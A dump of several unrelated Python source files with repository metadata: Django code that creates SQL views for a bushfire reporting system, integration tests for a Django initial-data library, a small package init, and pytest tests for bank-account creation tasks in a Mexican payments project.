b.initial_area, b.area, CASE WHEN b.area_limit IS NULL THEN '' WHEN b.area_limit THEN 'Yes' ELSE 'No' END as area_limit, CASE WHEN initial_area_unknown IS NULL THEN '' WHEN initial_area_unknown THEN 'Yes' ELSE 'No' END as initial_area_unknown, to_char(b.authorised_date at time zone 'Australia/Perth','DD/MM/YYYY HH24:MI:SS') as authorised_date, CASE WHEN b.report_status = 1 THEN 'Initial Fire Report' WHEN b.report_status = 2 THEN 'Notifications Submitted' WHEN b.report_status = 3 THEN 'Report Authorised' WHEN b.report_status = 4 THEN 'Reviewed' WHEN b.report_status = 5 THEN 'Invalidated' WHEN b.report_status = 6 THEN 'Outstanding Fires' WHEN b.report_status = 100 THEN 'Merged Fires' WHEN b.report_status = 101 THEN 'Duplicate Fires' ELSE b.report_status::text END as report_status, CASE WHEN b.archive IS NULL THEN '' WHEN b.archive THEN 'Yes' ELSE 'No' END as archive, (SELECT username AS authorised_by FROM auth_user WHERE id = b.authorised_by_id), (SELECT name AS cause FROM bfrs_cause WHERE id = b.cause_id), (SELECT username AS creator FROM auth_user WHERE id = b.creator_id), (SELECT name AS district FROM bfrs_district WHERE id = b.district_id), (SELECT username AS duty_officer FROM auth_user WHERE id = b.duty_officer_id), (SELECT username AS field_officer FROM auth_user WHERE id = b.field_officer_id), (SELECT name AS final_control FROM bfrs_agency WHERE id = b.final_control_id), (SELECT name AS first_attack FROM bfrs_agency WHERE id = b.first_attack_id), (SELECT username AS init_authorised_by FROM auth_user WHERE id = b.init_authorised_by_id), (SELECT name AS initial_control FROM bfrs_agency WHERE id = b.initial_control_id), (SELECT username AS modifier FROM auth_user WHERE id = b.modifier_id), (SELECT name AS region FROM bfrs_region WHERE id = b.region_id), (SELECT name AS tenure FROM bfrs_tenure WHERE id = b.tenure_id) FROM bfrs_bushfire b WHERE b.archive = false AND (b.report_status < {0} OR b.report_status = {1}); '''.format(Bushfire.STATUS_INVALIDATED,Bushfire.STATUS_MERGED)) def create_final_fireboundary_view(): """ cursor.execute('''drop view bfrs_bushfire_final_fireboundary_v''') """ from django.db import connection cursor = connection.cursor() cursor.execute(''' DROP VIEW IF EXISTS bfrs_bushfire_final_fireboundary_v; CREATE OR REPLACE VIEW bfrs_bushfire_final_fireboundary_v AS SELECT b.id, b.fire_boundary, b.fb_validation_req, to_char(b.created at time zone 'Australia/Perth','DD/MM/YYYY HH24:MI:SS') as created, to_char(b.modified at time zone 'Australia/Perth','DD/MM/YYYY HH24:MI:SS') as modified, b.name, b.fire_number, b.year::text || '/' || (b.year + 1)::text as financial_year, b.reporting_year, b.prob_fire_level, b.max_fire_level, CASE WHEN media_alert_req IS NULL THEN '' WHEN media_alert_req THEN 'Yes' ELSE 'No' END as media_alert_req, CASE WHEN park_trail_impacted IS NULL THEN '' WHEN park_trail_impacted THEN 'Yes' ELSE 'No' END as park_trail_impacted, CASE WHEN b.cause_state IS NULL THEN '' WHEN b.cause_state = 1 THEN 'Known' WHEN b.cause_state = 2 THEN 'Possible' ELSE b.cause_state::text END as cause_state, b.other_cause, b.dfes_incident_no, b.job_code, b.fire_position, CASE WHEN b.fire_position_override IS NULL THEN '' WHEN b.fire_position_override THEN 'Yes' ELSE 'No' END as fire_position_override, CASE WHEN fire_not_found IS NULL THEN '' WHEN fire_not_found THEN 'Yes' ELSE 'No' END as fire_not_found, b.other_info, to_char(b.init_authorised_date at time zone 'Australia/Perth','DD/MM/YYYY HH24:MI:SS') as init_authorised_date, CASE WHEN b.dispatch_pw IS NULL THEN '' WHEN b.dispatch_pw = 1 THEN 'Yes' WHEN b.dispatch_pw = 2 THEN 'No' WHEN b.dispatch_pw = 3 THEN 'Unknown' ELSE b.dispatch_pw::text END as dispatch_pw, CASE WHEN b.dispatch_aerial IS NULL THEN '' WHEN b.dispatch_aerial THEN 'Yes' ELSE 'No' END as dispatch_aerial, to_char(b.dispatch_pw_date at time zone 'Australia/Perth','DD/MM/YYYY HH24:MI:SS') as dispatch_pw_date, to_char(b.dispatch_aerial_date at time zone 'Australia/Perth','DD/MM/YYYY HH24:MI:SS') as dispatch_aerial_date, to_char(b.fire_detected_date at time zone 'Australia/Perth','DD/MM/YYYY') as fire_detected_date, to_char(b.fire_contained_date at time zone 'Australia/Perth','DD/MM/YYYY HH24:MI') as fire_contained_date, to_char(b.fire_controlled_date at time zone 'Australia/Perth','DD/MM/YYYY HH24:MI') as fire_controlled_date, to_char(b.fire_safe_date at time zone 'Australia/Perth','DD/MM/YYYY HH24:MI') as fire_safe_date, CASE WHEN fire_detected_date IS NULL THEN created ELSE fire_detected_date END as fire_detected_or_created, b.other_first_attack, b.other_initial_control, b.other_final_control, CASE WHEN b.arson_squad_notified IS NULL THEN '' WHEN b.arson_squad_notified THEN 'Yes' ELSE 'No' END as arson_squad_notified, CASE WHEN b.investigation_req IS NULL THEN '' WHEN b.investigation_req THEN 'Yes' ELSE 'No' END as investigation_req, b.offence_no, b.initial_area, b.area, CASE WHEN b.area_limit IS NULL THEN '' WHEN b.area_limit THEN 'Yes' ELSE 'No' END as area_limit, CASE WHEN initial_area_unknown IS NULL THEN '' WHEN initial_area_unknown THEN 'Yes' ELSE 'No' END as initial_area_unknown, to_char(b.authorised_date at time zone 'Australia/Perth','DD/MM/YYYY HH24:MI:SS') as authorised_date, CASE WHEN b.report_status = 1 THEN 'Initial Fire Report' WHEN b.report_status = 2 THEN 'Notifications Submitted' WHEN b.report_status = 3 THEN 'Report Authorised' WHEN b.report_status = 4 THEN 'Reviewed' WHEN b.report_status = 5 THEN 'Invalidated' WHEN b.report_status = 6 THEN 'Outstanding Fires' WHEN b.report_status = 100 THEN 'Merged Fires' WHEN b.report_status = 101 THEN 'Duplicate Fires' ELSE b.report_status::text END as report_status, CASE WHEN b.archive IS NULL THEN '' WHEN b.archive THEN 'Yes' ELSE 'No' END as archive, CASE WHEN m.code IS NULL THEN '' ELSE m.code END as capt_meth, CASE WHEN m.code IS NULL THEN '' WHEN m.code = '{2}' THEN b.other_capturemethod ELSE m.desc END as capt_desc, (SELECT username AS authorised_by FROM auth_user WHERE id = b.authorised_by_id), (SELECT name AS cause FROM bfrs_cause WHERE id = b.cause_id), (SELECT username AS creator FROM auth_user WHERE id = b.creator_id), (SELECT name AS district FROM bfrs_district WHERE id = b.district_id), (SELECT username AS duty_officer FROM auth_user WHERE id = b.duty_officer_id), (SELECT username AS field_officer FROM auth_user WHERE id = b.field_officer_id), (SELECT name AS final_control FROM bfrs_agency WHERE id = b.final_control_id), (SELECT name AS first_attack FROM bfrs_agency WHERE id = b.first_attack_id), (SELECT username AS init_authorised_by FROM auth_user WHERE id = b.init_authorised_by_id), (SELECT name AS initial_control FROM bfrs_agency WHERE id = b.initial_control_id), (SELECT username AS modifier FROM auth_user WHERE id = b.modifier_id), (SELECT name AS region FROM bfrs_region WHERE id = b.region_id), (SELECT name AS tenure FROM bfrs_tenure WHERE id = b.tenure_id), (SELECT username AS fireboundary_uploaded_by FROM auth_user WHERE id = b.fireboundary_uploaded_by_id) FROM bfrs_bushfire b LEFT JOIN bfrs_capturemethod m on b.capturemethod_id = m.id WHERE b.archive = false AND b.report_status >= {0} AND b.report_status < {1}; '''.format(Bushfire.STATUS_INITIAL_AUTHORISED, Bushfire.STATUS_INVALIDATED,CaptureMethod.OTHER_CODE)) def create_fireboundary_view(): """ cursor.execute('''drop view bfrs_bushfire_fireboundary_v''') """ from django.db import connection cursor = connection.cursor() cursor.execute(''' DROP VIEW IF EXISTS bfrs_bushfire_fireboundary_v; CREATE OR REPLACE VIEW bfrs_bushfire_fireboundary_v AS SELECT b.id, b.fire_boundary, b.fb_validation_req, to_char(b.created at time zone 'Australia/Perth','DD/MM/YYYY HH24:MI:SS') as created, to_char(b.modified at time zone 'Australia/Perth','DD/MM/YYYY HH24:MI:SS') as modified, b.name, b.fire_number, b.year::text || '/' || (b.year + 1)::text as financial_year, b.reporting_year, b.prob_fire_level, b.max_fire_level, CASE WHEN media_alert_req IS NULL THEN '' WHEN media_alert_req THEN 'Yes' ELSE 'No' END as media_alert_req, CASE WHEN park_trail_impacted IS NULL THEN '' WHEN park_trail_impacted THEN 'Yes' ELSE 'No' END as park_trail_impacted, CASE WHEN b.cause_state IS NULL THEN '' WHEN b.cause_state = 1 THEN 'Known' WHEN b.cause_state = 2 THEN 'Possible' ELSE b.cause_state::text END as cause_state, b.other_cause, b.dfes_incident_no, b.job_code, b.fire_position, CASE WHEN b.fire_position_override IS NULL THEN '' WHEN b.fire_position_override THEN 'Yes' ELSE 'No' END as fire_position_override, CASE WHEN fire_not_found IS NULL THEN '' WHEN fire_not_found THEN 'Yes' ELSE 'No' END as fire_not_found, b.other_info, to_char(b.init_authorised_date at time zone 'Australia/Perth','DD/MM/YYYY HH24:MI:SS') as init_authorised_date, CASE WHEN b.dispatch_pw IS NULL THEN '' WHEN b.dispatch_pw = 1 THEN 'Yes' WHEN b.dispatch_pw = 2 THEN 'No' WHEN b.dispatch_pw = 3 THEN 'Unknown' ELSE b.dispatch_pw::text END as dispatch_pw, CASE WHEN b.dispatch_aerial IS NULL THEN '' WHEN b.dispatch_aerial THEN 'Yes' ELSE 'No' END as dispatch_aerial, to_char(b.dispatch_pw_date at time zone 'Australia/Perth','DD/MM/YYYY HH24:MI:SS') as dispatch_pw_date, to_char(b.dispatch_aerial_date at time zone 'Australia/Perth','DD/MM/YYYY HH24:MI:SS') as dispatch_aerial_date, to_char(b.fire_detected_date at time zone 'Australia/Perth','DD/MM/YYYY') as fire_detected_date, to_char(b.fire_contained_date at time zone 'Australia/Perth','DD/MM/YYYY HH24:MI') as fire_contained_date, to_char(b.fire_controlled_date at time zone 'Australia/Perth','DD/MM/YYYY HH24:MI') as fire_controlled_date, to_char(b.fire_safe_date at time zone 'Australia/Perth','DD/MM/YYYY HH24:MI') as fire_safe_date, CASE WHEN fire_detected_date IS NULL THEN created ELSE fire_detected_date END as fire_detected_or_created, b.other_first_attack, b.other_initial_control, b.other_final_control, CASE WHEN b.arson_squad_notified IS NULL THEN '' WHEN b.arson_squad_notified THEN 'Yes' ELSE 'No' END as arson_squad_notified, CASE WHEN b.investigation_req IS NULL THEN '' WHEN b.investigation_req THEN 'Yes' ELSE 'No' END as investigation_req, b.offence_no, b.initial_area, b.area, CASE WHEN b.area_limit IS NULL THEN '' WHEN b.area_limit THEN 'Yes' ELSE 'No' END as area_limit, CASE WHEN initial_area_unknown IS NULL THEN '' WHEN initial_area_unknown THEN 'Yes' ELSE 'No' END as initial_area_unknown, to_char(b.authorised_date at time zone 'Australia/Perth','DD/MM/YYYY HH24:MI:SS') as authorised_date, CASE WHEN b.report_status = 1 THEN 'Initial Fire Report' WHEN b.report_status = 2 THEN 'Notifications Submitted' WHEN b.report_status = 3 THEN 'Report Authorised' WHEN b.report_status = 4 THEN 'Reviewed' WHEN b.report_status = 5 THEN 'Invalidated' WHEN b.report_status = 6 THEN 'Outstanding Fires' WHEN b.report_status = 100 THEN 'Merged Fires' WHEN b.report_status = 101 THEN 'Duplicate Fires' ELSE b.report_status::text END as report_status, CASE WHEN b.archive IS NULL THEN '' WHEN b.archive THEN 'Yes' ELSE 'No' END as archive, CASE WHEN m.code IS NULL THEN '' ELSE m.code END as capt_meth, CASE WHEN m.code IS NULL THEN '' WHEN m.code = '{1}' THEN b.other_capturemethod ELSE m.desc END as capt_desc, (SELECT username AS authorised_by FROM auth_user WHERE id = b.authorised_by_id), (SELECT name AS cause FROM bfrs_cause WHERE id = b.cause_id), (SELECT username AS creator FROM auth_user WHERE id = b.creator_id), (SELECT name AS district FROM bfrs_district WHERE id = b.district_id), (SELECT username AS duty_officer FROM auth_user WHERE id = b.duty_officer_id), (SELECT username AS field_officer FROM auth_user WHERE id = b.field_officer_id), (SELECT name AS final_control FROM bfrs_agency WHERE id = b.final_control_id), (SELECT name AS first_attack FROM bfrs_agency WHERE id = b.first_attack_id), (SELECT username AS init_authorised_by FROM auth_user WHERE id = b.init_authorised_by_id), (SELECT name AS initial_control FROM bfrs_agency WHERE id = b.initial_control_id), (SELECT username AS modifier FROM auth_user WHERE id = b.modifier_id), (SELECT name AS region FROM bfrs_region WHERE id = b.region_id), (SELECT name AS tenure FROM bfrs_tenure WHERE id = b.tenure_id), (SELECT username AS fireboundary_uploaded_by FROM auth_user WHERE id = b.fireboundary_uploaded_by_id) FROM bfrs_bushfire b LEFT JOIN bfrs_capturemethod m on b.capturemethod_id = m.id WHERE b.archive = false AND b.report_status < {0}; '''.format(Bushfire.STATUS_INVALIDATED,CaptureMethod.OTHER_CODE)) def create_all_views(): create_bushfirelist_view() create_bushfire_view() create_final_fireboundary_view() create_fireboundary_view() def drop_bushfirelist_view(): try: cursor=connection.cursor() cursor.execute('''drop view if exists bfrs_bushfirelist_v''') return cursor.fetchall() except: pass def drop_bushfire_view(): try: cursor=connection.cursor() cursor.execute('''drop view if exists bfrs_bushfire_v''') return cursor.fetchall() except: pass def drop_final_fireboundary_view(): try: cursor=connection.cursor() cursor.execute('''drop view if exists bfrs_bushfire_final_fireboundary_v''') return cursor.fetchall() except: pass def drop_fireboundary_view(): try: cursor=connection.cursor() cursor.execute('''drop view if exists bfrs_bushfire_fireboundary_v''') return cursor.fetchall() except: pass def drop_all_views(): drop_bushfirelist_view() drop_bushfire_view() drop_final_fireboundary_view() drop_fireboundary_view()

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0.163809

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0.018904

false

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0.011342

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0.037807

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null

0

1

0

1

0

1

0

null

0

8

926d3d24b937b36a201992011b029c9c619f3d47

87

py

Python

tasks/Scrapy/scrapy_official_newspapers/__init__.py

thefirebanks/policy-data-analyzer

670a4ea72ab71975b84c4a4ec43d573371c4a986

[ "RSA-MD" ]

13

2020-12-11T12:10:20.000Z

2021-04-27T22:54:25.000Z

tasks/Scrapy/scrapy_official_newspapers/__init__.py

thefirebanks/policy-data-analyzer

670a4ea72ab71975b84c4a4ec43d573371c4a986

[ "RSA-MD" ]

40

2020-11-24T06:48:53.000Z

2021-04-28T05:20:37.000Z

tasks/Scrapy/scrapy_official_newspapers/__init__.py

thefirebanks/policy-data-analyzer

670a4ea72ab71975b84c4a4ec43d573371c4a986

[ "RSA-MD" ]

5

2020-11-26T08:23:05.000Z

2021-04-19T18:08:20.000Z

def hello_world(): print("\n\n ****************** hello world ****************\n\n")

21.75

66

0.37931

10

87

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0

0.103448

87

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0

1

0.5

true

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1

0

null

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1

0

1

0

8

92b74e5e4bd7c95d5a155fe0e612dc87094ebf53

10,002

py

Python

dynamic_initial_data/tests/integration_tests.py

wesleykendall/django-dynamic-initial-data

22764dd1e8d6be92b54909604101890513a8379f

[ "MIT" ]

null

dynamic_initial_data/tests/integration_tests.py

wesleykendall/django-dynamic-initial-data

22764dd1e8d6be92b54909604101890513a8379f

[ "MIT" ]

null

dynamic_initial_data/tests/integration_tests.py

wesleykendall/django-dynamic-initial-data

22764dd1e8d6be92b54909604101890513a8379f

[ "MIT" ]

null

from django.test import TestCase from mock import patch from dynamic_initial_data import BaseInitialData from dynamic_initial_data.base import InitialDataUpdater from dynamic_initial_data.models import RegisteredForDeletionReceipt from dynamic_initial_data.tests.models import Account class IntegrationTest(TestCase): """ Tests the full initial data process. """ def test_create_account(self): """ Tests creating a test account in the initial data process. """ class AccountInitialData(BaseInitialData): def update_initial_data(self): Account.objects.get_or_create() # Verify no account objects exist self.assertEquals(Account.objects.count(), 0) with patch.object(InitialDataUpdater, 'load_app', return_value=AccountInitialData) as load_app_mock: InitialDataUpdater().update_app('test_app') # It should be called twice - once for initial loading, and twice for dependency testing self.assertEquals(load_app_mock.call_count, 2) # Verify an account object was created self.assertEquals(Account.objects.count(), 1) def test_multiple_same_objects(self): """ Tests initial data when registering the same object for deletion twice. """ class AccountInitialData1(BaseInitialData): """ Initial data code that registers the same object many times for deletion """ def update_initial_data(self): # Return the object from update_initial_data, thus registering it for deletion account = Account.objects.get_or_create()[0] return [account, account, account] # Verify no account objects exist self.assertEquals(Account.objects.count(), 0) with patch.object(InitialDataUpdater, 'load_app', return_value=AccountInitialData1): InitialDataUpdater().update_all_apps() InitialDataUpdater().update_all_apps() # Verify an account object was created and is managed by a deletion receipt self.assertEquals(Account.objects.count(), 1) self.assertEquals(RegisteredForDeletionReceipt.objects.count(), 1) def test_handle_deletions_returned_from_update_initial_data(self): """ Tests handling of deletions when they are returned from the update_initial_data function. """ class AccountInitialData1(BaseInitialData): """ The initial data code the first time it is called. It registers an account for deletion by returning it from the update_initial_data function. """ def update_initial_data(self): # Return the object from update_initial_data, thus registering it for deletion return [Account.objects.get_or_create()[0]] class AccountInitialData2(BaseInitialData): """ The initial data code the second time it is called. It no longer creates the account object, so the previously created account object should be deleted. """ def update_initial_data(self): pass # Verify no account objects exist self.assertEquals(Account.objects.count(), 0) with patch.object(InitialDataUpdater, 'load_app', return_value=AccountInitialData1): InitialDataUpdater().update_all_apps() # Verify an account object was created and is managed by a deletion receipt self.assertEquals(Account.objects.count(), 1) self.assertEquals(RegisteredForDeletionReceipt.objects.count(), 1) # Run the initial data process again, this time not registering the account for # deletion. It should be deleted. with patch.object(InitialDataUpdater, 'load_app', return_value=AccountInitialData2): InitialDataUpdater().update_all_apps() # Verify there are no accounts or receipts self.assertEquals(Account.objects.count(), 0) self.assertEquals(RegisteredForDeletionReceipt.objects.count(), 0) def test_handle_deletions_updates_returned_from_update_initial_data(self): """ Tests handling of deletions and updates when they are returned from the update_initial_data function. """ class AccountInitialData1(BaseInitialData): """ The initial data code the first time it is called. It registers two accounts for deletion by returning it from the update_initial_data function. """ def update_initial_data(self): # Return the object from update_initial_data, thus registering it for deletion return [Account.objects.get_or_create(name='hi')[0], Account.objects.get_or_create(name='hi2')[0]] class AccountInitialData2(BaseInitialData): """ The initial data code the second time it is called. It only manages one of the previous accounts """ def update_initial_data(self): return [Account.objects.get_or_create(name='hi')[0]] # Verify no account objects exist self.assertEquals(Account.objects.count(), 0) with patch.object(InitialDataUpdater, 'load_app', return_value=AccountInitialData1): InitialDataUpdater().update_all_apps() # Verify two account objects were created and are managed by deletion receipts self.assertEquals(Account.objects.count(), 2) self.assertEquals(RegisteredForDeletionReceipt.objects.count(), 2) # Run the initial data process again, this time deleting the account named 'hi2' with patch.object(InitialDataUpdater, 'load_app', return_value=AccountInitialData2): InitialDataUpdater().update_all_apps() # Verify only the 'hi' account exists self.assertEquals(Account.objects.count(), 1) self.assertEquals(RegisteredForDeletionReceipt.objects.count(), 1) self.assertEquals(RegisteredForDeletionReceipt.objects.get().model_obj.name, 'hi') def test_handle_deletions_registered_from_update_initial_data(self): """ Tests handling of deletions when they are programmatically registered from the update_initial_data function. """ class AccountInitialData1(BaseInitialData): """ The initial data code the first time it is called. It registers an account for deletion by returning it from the update_initial_data function. """ def update_initial_data(self): # Register the object for deletion self.register_for_deletion(Account.objects.get_or_create()[0]) class AccountInitialData2(BaseInitialData): """ The initial data code the second time it is called. It no longer creates the account object, so the previously created account object should be deleted. """ def update_initial_data(self): pass # Verify no account objects exist self.assertEquals(Account.objects.count(), 0) with patch.object(InitialDataUpdater, 'load_app', return_value=AccountInitialData1): InitialDataUpdater().update_all_apps() # Verify an account object was created and is managed by a deletion receipt self.assertEquals(Account.objects.count(), 1) self.assertEquals(RegisteredForDeletionReceipt.objects.count(), 1) # Run the initial data process again, this time not registering the account for # deletion. It should be deleted. with patch.object(InitialDataUpdater, 'load_app', return_value=AccountInitialData2): InitialDataUpdater().update_all_apps() # Verify there are no accounts or receipts self.assertEquals(Account.objects.count(), 0) self.assertEquals(RegisteredForDeletionReceipt.objects.count(), 0) def test_handle_deletions_updates_registered_from_update_initial_data(self): """ Tests handling of deletions and updates when they are registered from the update_initial_data function. """ class AccountInitialData1(BaseInitialData): """ The initial data code the first time it is called. It registers two accounts for deletion by returning it from the update_initial_data function. """ def update_initial_data(self): # Register two account objects for deletion self.register_for_deletion( Account.objects.get_or_create(name='hi')[0], Account.objects.get_or_create(name='hi2')[0]) class AccountInitialData2(BaseInitialData): """ The initial data code the second time it is called. It only manages one of the previous accounts """ def update_initial_data(self): self.register_for_deletion(Account.objects.get_or_create(name='hi')[0]) # Verify no account objects exist self.assertEquals(Account.objects.count(), 0) with patch.object(InitialDataUpdater, 'load_app', return_value=AccountInitialData1): InitialDataUpdater().update_all_apps() # Verify two account objects were created and are managed by deletion receipts self.assertEquals(Account.objects.count(), 2) self.assertEquals(RegisteredForDeletionReceipt.objects.count(), 2) # Run the initial data process again, this time deleting the account named 'hi2' with patch.object(InitialDataUpdater, 'load_app', return_value=AccountInitialData2): InitialDataUpdater().update_all_apps() # Verify only the 'hi' account exists self.assertEquals(Account.objects.count(), 1) self.assertEquals(RegisteredForDeletionReceipt.objects.count(), 1) self.assertEquals(RegisteredForDeletionReceipt.objects.get().model_obj.name, 'hi')

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2b7d62ee44c944b974de5f0759142c241110a24b

178

py

Python

thenewboston_node/business_logic/algorithms/updated_account_states/__init__.py

MLonTNB/thenewboston-node

3fbd0fc36c4f0eabaa8267f2a0be2fd717f133d1

[ "MIT" ]

null

thenewboston_node/business_logic/algorithms/updated_account_states/__init__.py

MLonTNB/thenewboston-node

3fbd0fc36c4f0eabaa8267f2a0be2fd717f133d1

[ "MIT" ]

null

thenewboston_node/business_logic/algorithms/updated_account_states/__init__.py

MLonTNB/thenewboston-node

3fbd0fc36c4f0eabaa8267f2a0be2fd717f133d1

[ "MIT" ]

null

from .coin_transfer import get_updated_account_states_for_coin_transfer # noqa: F401 from .node_declaration import get_updated_account_states_for_node_declaration # noqa: F401

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py

Python

tests/tasks/test_accounts.py

OsvaldoRino/speid

b4725bdee4abc019d4c2de4517f67a28f18c91ab

[ "MIT" ]

null

tests/tasks/test_accounts.py

OsvaldoRino/speid

b4725bdee4abc019d4c2de4517f67a28f18c91ab

[ "MIT" ]

11

2021-10-06T16:13:11.000Z

2022-03-30T17:08:44.000Z

tests/tasks/test_accounts.py

OsvaldoRino/speid

b4725bdee4abc019d4c2de4517f67a28f18c91ab

[ "MIT" ]

null

import datetime as dt from unittest.mock import MagicMock, patch import pytest from stpmex.exc import InvalidRfcOrCurp from speid.models import Account from speid.tasks.accounts import ( create_account, deactivate_account, execute_create_account, update_account, ) from speid.types import Estado @pytest.mark.vcr def test_create_account(): account_dict = dict( nombre='Ricardo', apellido_paterno='Sánchez', cuenta='646180157069665325', rfc_curp='SACR891125HDFGHI01', telefono='5567980796', fecha_nacimiento='1994-04-19T00:00:00', pais_nacimiento='MX', ) execute_create_account(account_dict) account = Account.objects.get(cuenta='646180157069665325') assert account.estado is Estado.succeeded account.delete() def test_create_account_no_name(): account_dict = dict( apellido_paterno='Sánchez', cuenta='646180157069665325', rfc_curp='SACR891125HDFGHI01', ) with pytest.raises(TypeError): execute_create_account(account_dict) @pytest.mark.vcr def test_create_account_existing_account(): account = Account( nombre='Ricardo', apellido_paterno='Sánchez', cuenta='646180157069665325', rfc_curp='SACR891125HDFGHI01', telefono='5567980796', fecha_nacimiento=dt.datetime(1989, 11, 25), pais_nacimiento='MX', ) account.estado = Estado.error account.save() account_dict = dict( nombre='Ricardo', apellido_paterno='Sánchez', cuenta='646180157069665325', rfc_curp='SACR891125HDFGHI01', telefono='5567980796', fecha_nacimiento='1994-04-19T00:00:00', pais_nacimiento='MX', ) execute_create_account(account_dict) account = Account.objects.get(cuenta='646180157069665325') assert account.estado is Estado.succeeded account.delete() def test_create_account_existing_succeeded_account(): account = Account( nombre='Ricardo', apellido_paterno='Sánchez', cuenta='646180157069665325', rfc_curp='SACR891125HDFGHI01', telefono='5567980796', fecha_nacimiento=dt.datetime(1989, 11, 25), pais_nacimiento='MX', ) account.estado = Estado.succeeded account.stp_id = 123 account.save() account_dict = dict( nombre='Ricardo', apellido_paterno='Sánchez', cuenta='646180157069665325', rfc_curp='SACR891125HDFGHI01', telefono='5567980796', fecha_nacimiento='1994-04-19T00:00:00', pais_nacimiento='MX', ) execute_create_account(account_dict) account = Account.objects.get(cuenta='646180157069665325') assert account.estado is Estado.succeeded account.delete() @patch('speid.tasks.accounts.capture_exception') @patch('speid.tasks.accounts.create_account.retry') def test_does_not_retry_when_validation_error_raised( mock_retry: MagicMock, mock_capture_exception: MagicMock ) -> None: account_dict = dict( nombre='Ricardo', apellido_paterno='Sánchez', cuenta='646180157069665325', rfc_curp=None, telefono='5567980796', fecha_nacimiento='1994-04-19T00:00:00', pais_nacimiento='MX', ) create_account(account_dict) mock_capture_exception.assert_called_once() mock_retry.assert_not_called() @pytest.mark.vcr @patch('speid.tasks.accounts.capture_exception') @patch('speid.tasks.accounts.create_account.retry') def test_does_not_retry_when_invalid_rfc_raised( mock_retry: MagicMock, mock_capture_exception: MagicMock ) -> None: account_dict = dict( nombre='24', apellido_paterno='napoli', apellido_materno='vico pergola sant antonio abate 24', cuenta='646180157069665325', rfc_curp='VIN2810417HNECPX01', telefono='5567980796', fecha_nacimiento=dt.date(1989, 11, 25), pais_nacimiento='MX', ) create_account(account_dict) mock_capture_exception.assert_called_once() mock_retry.assert_not_called() @pytest.mark.vcr @patch('speid.tasks.accounts.capture_exception') @patch('speid.tasks.accounts.create_account.retry') def test_raises_unexpected_exception( mock_retry: MagicMock, mock_capture_exception: MagicMock ) -> None: account_dict = dict( nombre='24', apellido_paterno='napoli', apellido_materno='vico pergola sant antonio abate 24', cuenta='646180157069665325', rfc_curp='VIN2810417HNECPX01', telefono='5567980796', ) with patch( 'speid.tasks.accounts.execute_create_account', side_effect=Exception('error!'), ): create_account(account_dict) mock_capture_exception.assert_called_once() mock_retry.assert_called_once() @pytest.mark.vcr @patch('speid.tasks.accounts.capture_exception') @patch('speid.tasks.accounts.update_account.retry') def test_update_account_successfully( mock_retry: MagicMock, mock_capture_exception: MagicMock ) -> None: account_dict = dict( nombre='Ric', apellido_paterno='San', cuenta='646180157000000004', rfc_curp='SACR891125HDFABC01', fecha_nacimiento='1994-04-19T00:00:00', pais_nacimiento='MX', ) # debe existir una cuenta guardada en los registros de Account with pytest.raises(InvalidRfcOrCurp): execute_create_account(account_dict) # datos corregidos y nuevo RFC account_dict['nombre'] = 'Ricardo' account_dict['apellido_paterno'] = 'Sánchez' account_dict['apellido_materno'] = 'Castillo' account_dict['rfc_curp'] = 'SACR891125HDFABC02' update_account(account_dict) mock_capture_exception.assert_not_called() mock_retry.assert_not_called() account = Account.objects.get(cuenta='646180157000000004') assert account.nombre == 'Ricardo' assert account.apellido_paterno == 'Sánchez' assert account.apellido_materno == 'Castillo' assert account.rfc_curp == 'SACR891125HDFABC02' assert account.estado == Estado.succeeded account.delete() @patch('speid.tasks.accounts.capture_exception') @patch('speid.tasks.accounts.update_account.retry') def test_update_account_failed_with_validation_error_raised( mock_retry: MagicMock, mock_capture_exception: MagicMock ) -> None: account_dict = dict( nombre='Ric', apellido_paterno='San', cuenta='646180157000000004', rfc_curp=None, fecha_nacimiento=dt.date(1989, 11, 25), pais_nacimiento='MX', ) update_account(account_dict) mock_capture_exception.assert_called_once() mock_retry.assert_not_called() @patch('speid.tasks.accounts.capture_exception') @patch('speid.tasks.accounts.update_account.retry') @patch('speid.tasks.accounts.create_account.apply') def test_update_account_does_not_exists_then_create_account( mock_apply: MagicMock, mock_retry: MagicMock, mock_capture_exception: MagicMock, ) -> None: account_dict = dict( nombre='Ricardo', apellido_paterno='Sánchez', cuenta='646180157000000004', rfc_curp='SACR891125HDFABC01', fecha_nacimiento='1994-04-19T00:00:00', pais_nacimiento='MX', ) update_account(account_dict) mock_apply.assert_called_once() mock_capture_exception.assert_not_called() mock_retry.assert_not_called() @pytest.mark.vcr @patch('speid.tasks.accounts.AccountValidation', side_effect=Exception()) @patch('speid.tasks.accounts.capture_exception') @patch('speid.tasks.accounts.update_account.retry', return_value=None) def test_update_account_retries_on_unexpected_exception( mock_retry: MagicMock, mock_capture_exception: MagicMock, _ ) -> None: account_dict = dict( nombre='Ricardo', apellido_paterno='Sánchez', cuenta='646180157000000004', rfc_curp='SACR891125HDFABC01', ) update_account(account_dict) mock_capture_exception.assert_called_once() mock_retry.assert_called_once() @pytest.mark.vcr @patch('speid.tasks.accounts.deactivate_account.retry') def test_deactivate_account( mock_retry: MagicMock, ): account_dict = dict( nombre='Ricardo', apellido_paterno='Sánchez', cuenta='646180157069665325', rfc_curp='SACR891125HDFGHI01', telefono='5567980796', fecha_nacimiento='1994-04-19T00:00:00', pais_nacimiento='MX', ) # Crea la cuenta execute_create_account(account_dict) account = Account.objects.get(cuenta='646180157069665325') assert account.estado == Estado.succeeded # Elimina la cuenta deactivate_account(account.cuenta) account = Account.objects.get(cuenta=account.cuenta) assert account.estado == Estado.deactivated deactivate_account(account.cuenta) mock_retry.assert_called_once()

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7

2be52dba9a6517d458706d016ec1753fc94baf8a

7,621

py

Python

example/sockeye/source/test/system/test_seq_copy_sys.py

rah9eu/p3

530628be7b7a8dd3e6199c3bebebdbf104005e5f

[ "Apache-2.0" ]

22

2019-02-20T12:42:20.000Z

2021-12-25T06:09:46.000Z

example/sockeye/source/test/system/test_seq_copy_sys.py

rah9eu/p3

530628be7b7a8dd3e6199c3bebebdbf104005e5f

[ "Apache-2.0" ]

4

2019-04-01T07:36:04.000Z

2022-03-24T03:11:26.000Z

example/sockeye/source/test/system/test_seq_copy_sys.py

rah9eu/p3

530628be7b7a8dd3e6199c3bebebdbf104005e5f

[ "Apache-2.0" ]

7

2019-03-20T16:04:37.000Z

2021-04-28T18:40:11.000Z

